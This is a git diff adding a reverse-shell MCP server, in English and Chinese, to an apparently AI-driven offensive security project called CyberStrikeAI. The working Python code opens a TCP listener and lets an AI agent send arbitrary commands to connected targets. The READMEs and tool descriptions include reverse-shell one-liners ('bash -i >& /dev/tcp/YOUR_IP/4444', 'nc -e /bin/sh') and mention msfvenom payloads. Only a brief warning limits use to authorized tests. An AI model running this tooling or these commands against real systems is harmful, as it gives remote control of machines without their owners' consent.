diff --git a/README.md b/README.md index d5c6cf12..73c7ea5b 100644 --- a/README.md +++ b/README.md @@ -270,6 +270,7 @@ go build -o cyberstrike-ai cmd/server/main.go - **Web mode** – ships with HTTP MCP server automatically consumed by the UI. - **MCP stdio mode** – `go run cmd/mcp-stdio/main.go` exposes the agent to Cursor/CLI. - **External MCP federation** – register third-party MCP servers (HTTP, stdio, or SSE) from the UI, toggle them per engagement, and monitor their health and call volume in real time. +- **Optional MCP servers** – the [`mcp-servers/`](mcp-servers/README.md) directory provides standalone MCPs (e.g. reverse shell). They speak standard MCP over stdio and work with CyberStrikeAI (Settings → External MCP), Cursor, VS Code, and other MCP clients. #### MCP stdio quick start 1. **Build the binary** (run from the project root): diff --git a/README_CN.md b/README_CN.md index acd34185..2d45b58c 100644 --- a/README_CN.md +++ b/README_CN.md @@ -267,6 +267,7 @@ go build -o cyberstrike-ai cmd/server/main.go - **Web 模式**:自带 HTTP MCP 服务供前端调用。 - **MCP stdio 模式**:`go run cmd/mcp-stdio/main.go` 可接入 Cursor/命令行。 - **外部 MCP 联邦**:在设置中注册第三方 MCP(HTTP/stdio/SSE),按需启停并实时查看调用统计与健康度。 +- **可选 MCP 服务**:项目中的 [`mcp-servers/`](mcp-servers/README_CN.md) 目录提供独立 MCP(如反向 Shell),采用标准 MCP stdio,可在 CyberStrikeAI(设置 → 外部 MCP)、Cursor、VS Code 等任意支持 MCP 的客户端中使用。 #### MCP stdio 快速集成 1. **编译可执行文件**(在项目根目录执行): diff --git a/mcp-servers/README.md b/mcp-servers/README.md new file mode 100644 index 00000000..021073af --- /dev/null +++ b/mcp-servers/README.md @@ -0,0 +1,49 @@ +# MCP Servers + +[中文](README_CN.md) + +This directory contains **standalone MCP (Model Context Protocol) servers**. They speak the standard MCP protocol over stdio (or HTTP/SSE when a server supports it), so **any MCP client** can use them—not only CyberStrikeAI, but also **Cursor**, **VS Code** (with an MCP extension), **Claude Code**, and other clients that support MCP. + +**We will keep adding useful MCP servers here.** New servers will cover security testing, automation, and integration scenarios. Stay tuned for updates. + +## Available servers + +| Server | Description | +|--------|-------------| +| [reverse_shell](reverse_shell/) | Reverse shell listener: start/stop listener, send commands to connected targets, full interactive workflow. | + +## How to use + +These MCPs are configured per client. Use **absolute paths** for `command` and `args` when using stdio. + +### CyberStrikeAI + +1. Open Web UI → **Settings** → **External MCP**. +2. Add a new external MCP and fill in the JSON config (see each server’s README for the exact config). +3. Save and click **Start**; the tools will appear in conversations. + +### Cursor + +Add the server to Cursor’s MCP config (e.g. **Settings → Tools & MCP → Add Custom MCP**, or edit `~/.cursor/mcp.json` / project `.cursor/mcp.json`). Example for a stdio server: + +```json +{ + "mcpServers": { + "reverse-shell": { + "command": "/absolute/path/to/venv/bin/python3", + "args": ["/absolute/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"] + } + } +} +``` + +Replace the paths with your actual paths. Cursor will spawn the process and talk MCP over stdio. + +### VS Code (MCP extension) / Claude Code / other clients + +Configure the client to run the server via **stdio**: set the **command** to your Python executable and **args** to the script path (see each server’s README). The client will launch the process and communicate over stdin/stdout. Refer to your client’s docs for where to put the config (e.g. `.mcp.json`, `~/.claude.json`, or the extension’s settings). + +## Requirements + +- Python 3.10+ for Python-based servers. +- Use the project’s `venv` when possible: e.g. `venv/bin/python3` and the script under `mcp-servers/`. diff --git a/mcp-servers/README_CN.md b/mcp-servers/README_CN.md new file mode 100644 index 00000000..f6193445 --- /dev/null +++ b/mcp-servers/README_CN.md @@ -0,0 +1,49 @@ +# MCP 服务 + +[English](README.md) + +本目录存放 **独立 MCP(Model Context Protocol)服务**,采用标准 MCP 协议(stdio 或部分服务支持 HTTP/SSE),因此 **任意支持 MCP 的客户端** 均可使用——不限于 CyberStrikeAI,**Cursor**、**VS Code**(配合 MCP 扩展)、**Claude Code** 等均可接入。 + +**我们会持续在此新增好用的 MCP 服务**,覆盖安全测试、自动化与集成等场景,敬请关注。 + +## 已提供服务 + +| 服务 | 说明 | +|------|------| +| [reverse_shell](reverse_shell/) | 反向 Shell:开启/停止监听、与已连接目标交互执行命令,完整交互流程。 | + +## 使用方式 + +各 MCP 需在对应客户端里配置后使用。stdio 模式下 `command` 与 `args` 请使用**绝对路径**。 + +### CyberStrikeAI + +1. 打开 Web 界面 → **设置** → **外部 MCP**。 +2. 添加新的外部 MCP,按各服务目录下 README 的说明填写 JSON 配置。 +3. 保存后点击 **启动**,对话中即可使用对应工具。 + +### Cursor + +在 Cursor 的 MCP 配置中添加(如 **Settings → Tools & MCP → Add Custom MCP**,或编辑 `~/.cursor/mcp.json` / 项目下的 `.cursor/mcp.json`)。stdio 示例: + +```json +{ + "mcpServers": { + "reverse-shell": { + "command": "/你的绝对路径/venv/bin/python3", + "args": ["/你的绝对路径/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"] + } + } +} +``` + +将路径替换为实际路径后,Cursor 会启动该进程并通过 stdio 与 MCP 通信。 + +### VS Code(MCP 扩展)/ Claude Code / 其他客户端 + +在对应客户端中配置为通过 **stdio** 启动:**command** 填 Python 可执行文件路径,**args** 填脚本路径(详见各服务 README)。配置位置依客户端而定(如 `.mcp.json`、`~/.claude.json` 或扩展设置),请查阅该客户端的 MCP 说明。 + +## 依赖说明 + +- 基于 Python 的服务需 Python 3.10+。 +- 建议使用项目自带的 `venv`,例如 `venv/bin/python3` 配合 `mcp-servers/` 下脚本路径。 diff --git a/mcp-servers/reverse_shell/README.md b/mcp-servers/reverse_shell/README.md new file mode 100644 index 00000000..6e02b7b3 --- /dev/null +++ b/mcp-servers/reverse_shell/README.md @@ -0,0 +1,66 @@ +# Reverse Shell MCP + +[中文](README_CN.md) + +Add **reverse shell** capability to CyberStrikeAI via External MCP: start/stop a TCP listener and run commands on connected targets—no backend code changes required. + +## Tools + +| Tool | Description | +|------|-------------| +| `reverse_shell_start_listener` | Start TCP listener on a given port; wait for the target to connect. | +| `reverse_shell_stop_listener` | Stop the listener and disconnect the current client. | +| `reverse_shell_status` | Show status: listening or not, port, connected or not, client address. | +| `reverse_shell_send_command` | Send a command to the connected reverse shell and return output. | +| `reverse_shell_disconnect` | Disconnect the current client only; listener keeps running for new connections. | + +## Requirements + +- Python 3.10+ +- `mcp` package (included if using the project venv; otherwise: `pip install mcp`) + +## Setup in CyberStrikeAI + +1. **Paths** + Example: project root `/path/to/CyberStrikeAI-main` + Script: `/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py` + +2. **Web UI** → **Settings** → **External MCP** → **Add External MCP**. Paste JSON (replace paths with yours): + +```json +{ + "reverse-shell": { + "command": "/path/to/CyberStrikeAI-main/venv/bin/python3", + "args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"], + "description": "Reverse shell: start/stop listener, run commands on connected target", + "timeout": 60, + "external_mcp_enable": true + } +} +``` + + - `command`: Prefer the project **venv** Python; or use system `python3`. + - `args`: **Must be absolute path** to `mcp_reverse_shell.py`. + - Save, then click **Start** for this MCP to use the tools in chat. + +3. **Typical workflow** + - Call `reverse_shell_start_listener(4444)` to listen on port 4444. + - On the target, run a reverse connection, e.g.: + - Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` or `nc -e /bin/sh YOUR_IP 4444` + - Or use msfvenom-generated payloads, etc. + - After connection, use `reverse_shell_send_command("id")`, `reverse_shell_send_command("whoami")`, etc. + - Use `reverse_shell_status` to check state, `reverse_shell_disconnect` to drop the client only, `reverse_shell_stop_listener` to stop listening. + +## Run locally (optional) + +```bash +# From project root, with venv +./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py +``` + +The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP. + +## Security + +- Use only in authorized, isolated test environments. +- Listener binds to `0.0.0.0`; restrict access with firewall or network policy if the port is exposed. diff --git a/mcp-servers/reverse_shell/README_CN.md b/mcp-servers/reverse_shell/README_CN.md new file mode 100644 index 00000000..3dc60f4f --- /dev/null +++ b/mcp-servers/reverse_shell/README_CN.md @@ -0,0 +1,66 @@ +# 反向 Shell MCP + +[English](README.md) + +通过**外部 MCP** 为 CyberStrikeAI 增加**反向 Shell** 能力:开启/停止 TCP 监听、与已连接目标交互执行命令,**无需修改后端代码**。 + +## 工具说明 + +| 工具 | 说明 | +|------|------| +| `reverse_shell_start_listener` | 在指定端口启动 TCP 监听,等待目标机反向连接。 | +| `reverse_shell_stop_listener` | 停止监听并断开当前客户端。 | +| `reverse_shell_status` | 查看状态:是否监听、端口、是否已连接及客户端地址。 | +| `reverse_shell_send_command` | 向已连接的反向 Shell 发送命令并返回输出。 | +| `reverse_shell_disconnect` | 仅断开当前客户端,不停止监听(可继续等待新连接)。 | + +## 依赖 + +- Python 3.10+ +- 使用项目自带 venv 时已包含 `mcp`;单独运行需:`pip install mcp` + +## 在 CyberStrikeAI 中接入 + +1. **路径** + 例如项目根为 `/path/to/CyberStrikeAI-main`,则脚本路径为: + `/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py` + +2. **Web 界面** → **设置** → **外部 MCP** → **添加外部 MCP**,填入以下 JSON(将路径替换为你的实际路径): + +```json +{ + "reverse-shell": { + "command": "/path/to/CyberStrikeAI-main/venv/bin/python3", + "args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"], + "description": "反向 Shell:开启/停止监听、与目标交互执行命令", + "timeout": 60, + "external_mcp_enable": true + } +} +``` + + - `command`:建议使用项目 **venv** 中的 Python,或系统 `python3`。 + - `args`:**必须使用绝对路径** 指向 `mcp_reverse_shell.py`。 + - 保存后点击该 MCP 的 **启动**,即可在对话中通过 AI 调用上述工具。 + +3. **使用流程示例** + - 调用 `reverse_shell_start_listener(4444)` 在 4444 端口开始监听。 + - 在目标机上执行反向连接,例如: + - Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` 或 `nc -e /bin/sh YOUR_IP 4444` + - 或使用 msfvenom 生成 payload 等。 + - 连接成功后,用 `reverse_shell_send_command("id")`、`reverse_shell_send_command("whoami")` 等与目标交互。 + - 需要时用 `reverse_shell_status` 查看状态,用 `reverse_shell_disconnect` 仅断开客户端,用 `reverse_shell_stop_listener` 完全停止监听。 + +## 本地单独运行(可选) + +```bash +# 在项目根目录,使用 venv +./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py +``` + +进程通过 stdio 与 MCP 客户端通信;CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。 + +## 安全提示 + +- 仅在有授权、隔离的测试环境中使用。 +- 监听在 `0.0.0.0`,若端口对外暴露存在风险,请通过防火墙或网络策略限制访问。 diff --git a/mcp-servers/reverse_shell/mcp_reverse_shell.py b/mcp-servers/reverse_shell/mcp_reverse_shell.py new file mode 100644 index 00000000..c72200bd --- /dev/null +++ b/mcp-servers/reverse_shell/mcp_reverse_shell.py @@ -0,0 +1,270 @@ +#!/usr/bin/env python3 +""" +Reverse Shell MCP Server - 反向 Shell MCP 服务 + +通过 MCP 协议暴露反向 Shell 能力:开启/停止监听、与已连接客户端交互执行命令。 +无需修改 CyberStrikeAI 后端,在「设置 → 外部 MCP」中以 stdio 方式添加即可。 + +依赖:pip install mcp(或使用项目 venv) +运行:python mcp_reverse_shell.py 或 python3 mcp_reverse_shell.py +""" + +from __future__ import annotations + +import socket +import threading +import time +from typing import Any + +from mcp.server.fastmcp import FastMCP + +# --------------------------------------------------------------------------- +# 反向 Shell 状态(单例:一个监听器、一个已连接客户端) +# --------------------------------------------------------------------------- + +_LISTENER: socket.socket | None = None +_LISTENER_THREAD: threading.Thread | None = None +_LISTENER_PORT: int | None = None +_CLIENT_SOCK: socket.socket | None = None +_CLIENT_ADDR: tuple[str, int] | None = None +_LOCK = threading.Lock() + +# 用于 send_command 的输出结束标记(避免无限等待) +_END_MARKER = "__RS_DONE__" +_RECV_TIMEOUT = 30.0 +_RECV_CHUNK = 4096 + + +def _get_local_ips() -> list[str]: + """获取本机 IP 列表(供目标机反弹连接用),优先非 127 地址。""" + ips: list[str] = [] + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + ip = s.getsockname()[0] + s.close() + if ip and ip != "127.0.0.1": + ips.append(ip) + except OSError: + pass + if not ips: + try: + ip = socket.gethostbyname(socket.gethostname()) + if ip: + ips.append(ip) + except OSError: + pass + if not ips: + ips.append("127.0.0.1") + return ips + + +def _accept_loop(port: int) -> None: + """在后台线程中:bind、listen、accept,只接受一个客户端。""" + global _LISTENER, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(("0.0.0.0", port)) + sock.listen(1) + with _LOCK: + _LISTENER = sock + # 阻塞 accept,只接受一个连接 + client, addr = sock.accept() + with _LOCK: + _CLIENT_SOCK = client + _CLIENT_ADDR = (addr[0], addr[1]) + except OSError: + pass + finally: + with _LOCK: + if _LISTENER: + try: + _LISTENER.close() + except OSError: + pass + _LISTENER = None + _LISTENER_PORT = None + + +def _start_listener(port: int) -> str: + global _LISTENER_THREAD, _LISTENER_PORT, _CLIENT_SOCK, _CLIENT_ADDR + with _LOCK: + if _LISTENER is not None or (_LISTENER_THREAD is not None and _LISTENER_THREAD.is_alive()): + return f"已在监听中(端口: {_LISTENER_PORT}),请先 stop_listener 再重新 start。" + if _CLIENT_SOCK is not None: + try: + _CLIENT_SOCK.close() + except OSError: + pass + _CLIENT_SOCK = None + _CLIENT_ADDR = None + th = threading.Thread(target=_accept_loop, args=(port,), daemon=True) + th.start() + _LISTENER_THREAD = th + time.sleep(0.2) + with _LOCK: + if _LISTENER is not None: + _LISTENER_PORT = port + ips = _get_local_ips() + addrs = ", ".join(f"{ip}:{port}" for ip in ips) + return ( + f"已在 0.0.0.0:{port} 开始监听。" + f"目标机请反弹到: {addrs}(任选其一)。连接后使用 reverse_shell_send_command 执行命令。" + ) + return f"监听 0.0.0.0:{port} 已启动(若端口被占用会失败,请检查)。" + + +def _stop_listener() -> str: + global _LISTENER, _LISTENER_THREAD, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT + with _LOCK: + if _LISTENER is not None: + try: + _LISTENER.close() + except OSError: + pass + _LISTENER = None + _LISTENER_PORT = None + if _CLIENT_SOCK is not None: + try: + _CLIENT_SOCK.close() + except OSError: + pass + _CLIENT_SOCK = None + _CLIENT_ADDR = None + return "监听已停止,已断开当前客户端(如有)。" + + +def _disconnect_client() -> str: + global _CLIENT_SOCK, _CLIENT_ADDR + with _LOCK: + if _CLIENT_SOCK is None: + return "当前无已连接客户端。" + try: + _CLIENT_SOCK.close() + except OSError: + pass + addr = _CLIENT_ADDR + _CLIENT_SOCK = None + _CLIENT_ADDR = None + return f"已断开客户端 {addr}。" + + +def _status() -> dict[str, Any]: + with _LOCK: + listening = _LISTENER is not None + port = _LISTENER_PORT + connected = _CLIENT_SOCK is not None + addr = _CLIENT_ADDR + connect_back = None + if listening and port is not None: + ips = _get_local_ips() + connect_back = [f"{ip}:{port}" for ip in ips] + return { + "listening": listening, + "port": port, + "connect_back": connect_back, + "connected": connected, + "client_address": f"{addr[0]}:{addr[1]}" if addr else None, + } + + +def _send_command_blocking(command: str, timeout: float = _RECV_TIMEOUT) -> str: + """在同步上下文中向已连接客户端发送命令并读取输出(带结束标记)。""" + global _CLIENT_SOCK, _CLIENT_ADDR + with _LOCK: + client = _CLIENT_SOCK + if client is None: + return "错误:当前无已连接客户端。请先 start_listener,等待目标连接后再 send_command。" + # 使用结束标记以便可靠地截断输出 + wrapped = f"{command.strip()}\necho {_END_MARKER}\n" + try: + client.settimeout(timeout) + client.sendall(wrapped.encode("utf-8", errors="replace")) + data = b"" + while True: + try: + chunk = client.recv(_RECV_CHUNK) + if not chunk: + break + data += chunk + if _END_MARKER.encode() in data: + break + except socket.timeout: + break + text = data.decode("utf-8", errors="replace") + if _END_MARKER in text: + text = text.split(_END_MARKER)[0].strip() + return text or "(无输出)" + except (ConnectionResetError, BrokenPipeError, OSError) as e: + with _LOCK: + if _CLIENT_SOCK is client: + _CLIENT_SOCK = None + _CLIENT_ADDR = None + return f"连接已断开: {e}" + except Exception as e: + return f"执行异常: {e}" + + +# --------------------------------------------------------------------------- +# MCP 服务与工具 +# --------------------------------------------------------------------------- + +app = FastMCP( + name="reverse-shell", + instructions="反向 Shell MCP:在本地开启 TCP 监听,等待目标机连接后通过工具执行命令。", +) + + +@app.tool( + description="在指定端口启动反向 Shell 监听。目标机需执行反向连接(如 nc -e /bin/sh YOUR_IP PORT 或 bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1)。仅支持一个监听器与一个客户端。", +) +def reverse_shell_start_listener(port: int) -> str: + """Start reverse shell listener on the given port (e.g. 4444).""" + if port < 1 or port > 65535: + return "端口需在 1–65535 之间。" + return _start_listener(port) + + +@app.tool( + description="停止反向 Shell 监听并断开当前客户端。", +) +def reverse_shell_stop_listener() -> str: + """Stop the listener and disconnect the current client.""" + return _stop_listener() + + +@app.tool( + description="查看当前状态:是否在监听、端口、是否有客户端连接及客户端地址。", +) +def reverse_shell_status() -> str: + """Get listener and client connection status.""" + s = _status() + lines = [ + f"监听中: {s['listening']}", + f"端口: {s['port']}", + f"反弹地址(目标机连接): {', '.join(s['connect_back']) if s.get('connect_back') else '-'}", + f"已连接: {s['connected']}", + f"客户端: {s['client_address'] or '-'}", + ] + return "\n".join(lines) + + +@app.tool( + description="向已连接的反向 Shell 客户端发送一条命令并返回输出。若无连接请先 start_listener 并等待目标连接。", +) +def reverse_shell_send_command(command: str) -> str: + """Send a command to the connected reverse shell client and return output.""" + return _send_command_blocking(command) + + +@app.tool( + description="仅断开当前客户端连接,不停止监听(可继续等待新连接)。", +) +def reverse_shell_disconnect() -> str: + """Disconnect the current client without stopping the listener.""" + return _disconnect_client() + + +if __name__ == "__main__": + app.run(transport="stdio")